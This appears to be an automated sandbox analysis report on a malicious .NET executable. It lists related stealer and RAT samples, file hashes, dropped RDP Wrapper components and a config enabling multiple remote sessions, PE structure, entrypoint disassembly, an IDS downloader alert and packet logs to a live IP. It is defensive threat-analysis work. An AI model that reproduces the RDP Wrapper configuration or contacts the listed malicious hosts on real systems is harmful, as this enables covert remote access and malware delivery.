	1 (2).cmd	Get hash	malicious	Unknown	Browse	188.114.97.3
	rbx-CO2.bat	Get hash	malicious	Unknown	Browse	188.114.97.3
	SC.cmd	Get hash	malicious	Unknown	Browse	188.114.97.3
	file.exe	Get hash	malicious	Credential Flusher	Browse	188.114.97.3
	QUOTATIONS#08670.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	188.114.97.3
	1.cmd	Get hash	malicious	Unknown	Browse	188.114.97.3
	2.cmd	Get hash	malicious	Unknown	Browse	188.114.97.3
	download_2.exe	Get hash	malicious	Quasar	Browse	188.114.97.3
	PVUfopbGfc.exe	Get hash	malicious	LummaC	Browse	188.114.97.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files\RDP Wrapper\rdpwrap.dll	file.exe	Get hash	malicious	RDPWrap Tool	Browse
	file.exe	Get hash	malicious	RDPWrap Tool	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\Program Files\RDP Wrapper\rdpwrap.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\RDPWInst.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	116736
Entropy (8bit):	5.884975745255681
Encrypted:	false
SSDEEP:	3072:m3zxbyHM+TstVfFyov7je9LBMMmMJDOvYYVs:oMjTiVw2ve9LBMMpJsT
MD5:	461ADE40B800AE80A40985594E1AC236
SHA1:	B3892EEF846C044A2B0785D54A432B3E93A968C8
SHA-256:	798AF20DB39280F90A1D35F2AC2C1D62124D1F5218A2A0FA29D87A13340BD3E4
SHA-512:	421F9060C4B61FA6F4074508602A2639209032FD5DF5BFC702A159E3BAD5479684CCB3F6E02F3E38FB8DB53839CF3F41FE58A3ACAD6EC1199A48DC333B2D8A26
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 54%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.rB/.!B/.!B/.!.~.!j/.!.~.!&/.!.~3!H/.!..'!G/.!B/.!./.!O}.!F/.!O}0!C/.!O}7!C/.!O}2!C/.!RichB/.!................PE..d...Z..T.........." .................Q....................................... ............`.........................................0...l.......<...................................................................`...p............ ...............................text............................... ..`.rdata..<.... ......................@..@.data....=..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................

C:\Program Files\RDP Wrapper\rdpwrap.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\RDPWInst.exe
File Type:	Generic INItialization configuration [SLPolicy]
Category:	dropped
Size (bytes):	443552
Entropy (8bit):	5.4496544667416975
Encrypted:	false
SSDEEP:	768:DUoDQVQpXQq4WDi9SUnpB8fbQnxJcy8RMFdKKb8x8Rr/d6gl/+f8jZ0ftlFn4m7Y:TJGYS33L+MUIiG4IvREWddadl/Fy/k9c
MD5:	92BC5FEDB559357AA69D516A628F45DC
SHA1:	6468A9FA0271724E70243EAB49D200F457D3D554
SHA-256:	85CD5CD634FA8BBBF8D71B0A7D49A58870EF760DA6D6E7789452CAE4CAB28127
SHA-512:	87E210E22631C1A394918859213140A7C54B75AEC9BBC4F44509959D15CFA14ABCBFEB1ADF9CFFA11B2E88F84A8708F67E842D859E63394B7F6036CE934C3CC9
Malicious:	false
Preview:	; RDP Wrapper Library configuration..; Do not modify without special knowledge..; Edited by sebaxakerhtc....[Main]..Updated=2024-09-25..LogFile=\rdpwrap.txt..SLPolicyHookNT60=1..SLPolicyHookNT61=1....[SLPolicy]..TerminalServices-RemoteConnectionManager-AllowRemoteConnections=1..TerminalServices-RemoteConnectionManager-AllowMultipleSessions=1..TerminalServices-RemoteConnectionManager-AllowAppServerMode=1..TerminalServices-RemoteConnectionManager-AllowMultimon=1..TerminalServices-RemoteConnectionManager-MaxUserSessions=0..TerminalServices-RemoteConnectionManager-ce0ad219-4670-4988-98fb-89b14c2f072b-MaxSessions=0..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-MaxSessions=2..TerminalServices-RDP-7-Advanced-Compression-Allowed=1..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-LocalOnly=0..TerminalServices-RemoteConnectionManager-8dc86f1d-9969-4379-91c1-06fe1dc60575-MaxSessions=1000..TerminalServices-DeviceRedirection-Licenses-TS

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1298
Entropy (8bit):	5.345181606725495
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhPKIE4oKNzKoZAE4KzeBE4D2c/sXE4qdKm:MxHKlYHKh3oPtHo6hAHKzeBHCHHA
MD5:	B602069B69E310409FAD82BFC3CBB818
SHA1:	ED23568805903474D8E77BCE3AD927E5065FFFCD
SHA-256:	979D1AD6AF4CFA4BF6782D5F781BE35F0C7B9FF42B09EE9D3165A3E8F3B80E57
SHA-512:	A5EFDA1DAA3616317054E5F692DF3A7ACA497DFA7BD3B42F056777F0CA3BAF422725C88C47FDC8718CA157CABB15BCCDC26EDAF8A31ECA491FC1C38A8342C43C
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..3,"System.DirectoryServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Di

C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	1785344
Entropy (8bit):	6.646511331349125
Encrypted:	false
SSDEEP:	24576:+rKxoVT2iXc+IZP+6WiaTAsN/3ebTvK+63CWH8iA/iD2hgPjcC8SVdKumYr7:vHZGpdqYH8ia6GcKuR7
MD5:	C213162C86BB943BCDF91B3DF381D2F6
SHA1:	8EC200E2D836354A62F16CDB3EED4BB760165425
SHA-256:	AC91B2A2DB1909A2C166E243391846AD8D9EDE2C6FCFD33B60ACF599E48F9AFC
SHA-512:	B3EAD28BB1F4B87B0C36C129864A8AF34FC11E5E9FEAA047D4CA0525BEC379D07C8EFEE259EDE8832B65B3C03EF4396C9202989249199F7037D56439187F147B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RDPWrapTool, Description: Yara detected RDPWrap Tool, Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...#.CZ.................4..........<7.......P....@..............................................@...................................`...{.......................^...................................................................................text... ........................... ..`.itext..\|....0... .................. ..`.data...x....P.......8..............@....bss.....O...p.......L...................idata...............L..............@....tls.................`...................rdata...............`..............@..@.reloc...^.......`...b..............@..B.rsrc....{...`...\|..................@..@.............p......................@..@................................................................................................

C:\Windows\System32\rfxvmt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\RDPWInst.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	37376
Entropy (8bit):	5.7181012847214445
Encrypted:	false
SSDEEP:	768:2aS6Ir6sXJaE5I2IaK3knhQ0NknriB0dX5mkOpw:aDjDtKA0G0j5Opw
MD5:	E3E4492E2C871F65B5CEA8F1A14164E2
SHA1:	81D4AD81A92177C2116C5589609A9A08A5CCD0F2
SHA-256:	32FF81BE7818FA7140817FA0BC856975AE9FCB324A081D0E0560D7B5B87EFB30
SHA-512:	59DE035B230C9A4AD6A4EBF4BEFCD7798CCB38C7EDA9863BC651232DB22C7A4C2D5358D4D35551C2DD52F974A22EB160BAEE11F4751B9CA5BF4FB6334EC926C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........qc..qc..qc......qc...`..qc...g..qc..qb..qc...b..qc...f..qc...c..qc...j..qc......qc...a..qc.Rich.qc.................PE..d...#............." .....Z...>.......]...............................................a....`A.........................................~..........@...............................\... x..T............................p...............q..P............................text....Y.......Z.................. ..`.rdata.......p.......^..............@..@.data...P............z..............@....pdata...............\|..............@..@.rsrc...............................@..@.reloc..\...........................@..B........................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\netsh.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	7
Entropy (8bit):	2.2359263506290326
Encrypted:	false
SSDEEP:	3:t:t
MD5:	F1CA165C0DA831C9A17D08C4DECBD114
SHA1:	D750F8260312A40968458169B496C40DACC751CA
SHA-256:	ACCF036232D2570796BF0ABF71FFE342DC35E2F07B12041FE739D44A06F36AF8
SHA-512:	052FF09612F382505B049EF15D9FB83E46430B5EE4EEFB0F865CD1A3A50FDFA6FFF573E0EF940F26E955270502D5774187CD88B90CD53792AC1F6DFA37E4B646
Malicious:	false
Preview:	Ok.....

**\Device\Mup\585948*\MAILSLOT\NET\NETLOGON**

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	3.6075632069840315
Encrypted:	false
SSDEEP:	3:upLfVI2Y1AnVJulLn:up2GjqLn
MD5:	A8A34531E35BAD9B34F0EF69126256B6
SHA1:	53CBA26592FA0FC0E2B25DD7BEF57290DD78DB29
SHA-256:	FF33C7BF3A831C13344F9CA4287B56723F3D9F80C7A7D91E0C3BD6B995FE92B5
SHA-512:	6D3EEB22F88465C6249096EB2057E138B24680B1020CF83EF6576C3AF6D2021DD3564EFDDA1791CE149E9F6A7E753F46C6450ABF4E96192FA941E73589DC58C3
Malicious:	false
Preview:	....5.8.5.9.4.8.....\MAILSLOT\NET\GETDCA7599CB3.................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.971372283511289
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.96% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	file.exe
File size:	2'066'432 bytes
MD5:	ea2954e7fc00520a5300e72edea11b0f
SHA1:	cb9c5443999a5f62e83bb03756f8e1a8bcbefdb1
SHA256:	ae939c4c31af5fc5e66e5f991239949a572f3af905118ae2f94fdf6dd080bc01
SHA512:	a1b5085f270b46c7eac939c2b635d861513874aea797124410bdf8538a824fb5203532ed676b9cc2bc12868efb3d4e9509af2d2a3942608a9dcf997b435f408a
SSDEEP:	24576:H4VJRQQ6MczUMPwjgagC2lsJCC3jDlE4j7xOi5WX0rB7uivDX/CYzQ84GpxkFScs:HMPDJ1jgxs5lPjtzWcB1PHytJuu
TLSH:	84A5231CBAEC8833CFCC97F960854484CBF0AA51715BF3E37A595EF426863D2990126B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Z..........."...0..N...........~... ........@.. .......................`............`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x5d7eb4
Entrypoint Section:	.}wo
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xEF5ACDDE [Tue Apr 2 01:46:06 2097 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [004E8000h]
jecxz 00007FAE88F626A0h
aaa
pop ebp
out 7Dh, al
fbstp [edi]
pop ebp
loop 00007FAE88F626E1h
loopne 00007FAE88F62734h
pop esi
aaa
pop ebp
loop 00007FAE88F6268Eh
jns 00007FAE88F62707h
aaa
pop ebp
loop 00007FAE88F626FBh
mov esi, 1EE15D37h
sar dword ptr [esi+43h], cl
mov esi, E35D370Ch
retf
aaa
pop ebp
out E0h, eax
dec eax
sbb al, 37h
pop ebp
out 53h, eax
or eax, B030977Eh
aaa
pop ebp
in al, 4Ch
mov dl, D6h
xchg eax, edi
imul byte ptr [edi+1Fh]
sar dword ptr [edx-621F228Eh], 09h
push esi
pop ds
clc
iretd
je 00007FAE88F626D0h
loopne 00007FAE88F62691h
int D6h
insd
lahf
add dl, byte ptr [esi]
inc ecx
test eax, F1ADAA43h
test eax, 8377A843h
test eax, ECEAAC43h
loope 00007FAE88F6272Ah
inc eax
out DDh, al
dec esp

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xea9c0	0x28	.}wo
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2e2000	0x4e4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e4000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1f38e0	0x38	.}wo
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xe8000	0x8	.T"G
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x1f3920	0x48	.}wo
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xe4dd4	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.T"G	0xe8000	0x8	0x200	dda7831bdb73b0371267cffcdd7847cb	False	0.03125	data	0.06116285224115448	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.}wo	0xea000	0x1f7864	0x1f7a00	19ec5bd101f269e44f128e7de2d10f04	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x2e2000	0x4e4	0x600	95f868ca41aa98ead06ef0ad0a8a96a7	False	0.3763020833333333	data	3.735811379124929	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2e4000	0xc	0x200	cf7d6fdbf4a3caa4bc349b896cbd4cc5	False	0.048828125	data	0.12227588125913882	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x2e2090	0x254	data			0.45805369127516776
RT_MANIFEST	0x2e22f4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-03T15:07:46.813181+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49713	104.26.12.205	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 15:07:02.014641047 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:02.019458055 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:02.019527912 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:02.046128035 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:02.050932884 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.876499891 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.876523972 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.876535892 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.876580000 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:05.876625061 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.876637936 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.876650095 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.876662016 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.876687050 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:05.876708984 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:05.876811028 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.876871109 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.876878977 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.877089977 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:05.881541967 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.922142029 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:05.976586103 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.976613998 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.976624012 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.976677895 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.976689100 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.976721048 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:05.976785898 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:05.976988077 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.977013111 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.977022886 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.977049112 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:05.977088928 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:05.977288008 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.977299929 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.977309942 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.977370024 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:05.977708101 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.977719069 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.977730036 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.977745056 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.977756023 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.977756023 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:05.977803946 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:05.979140043 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.979162931 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.979177952 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.979216099 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.979216099 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:05.979231119 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.979262114 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:05.981749058 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.981766939 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.981779099 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:05.981806040 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:05.981837034 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.066729069 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.066747904 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.066756964 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.066811085 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.066819906 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.066836119 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.066891909 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.066920042 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.066930056 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.066939116 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.066975117 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.066991091 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.067140102 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.067193031 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.067200899 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.067239046 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.067270041 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.067277908 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.067316055 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.067348957 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.067403078 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.067473888 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.067485094 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.067495108 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.067503929 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.067514896 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.067524910 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.067572117 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.067856073 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.067904949 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.067928076 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.067936897 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.067941904 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.067996979 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.068128109 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.068172932 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.068173885 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.068182945 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.068192959 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.068234921 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.068413973 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.068455935 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.068463087 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.068468094 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.068486929 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.068495989 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.068516016 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.068543911 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.073961020 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.074001074 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.074009895 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.074064016 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.074079037 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.074088097 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.074098110 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.074127913 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.074174881 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.074218035 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.074228048 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.074235916 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.074266911 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.074274063 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.074285030 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.074294090 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.074304104 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.074321985 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.074359894 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:06.113893032 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.113909960 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:06.113919973 CEST	80	49704	147.45.44.104	192.168.2.5
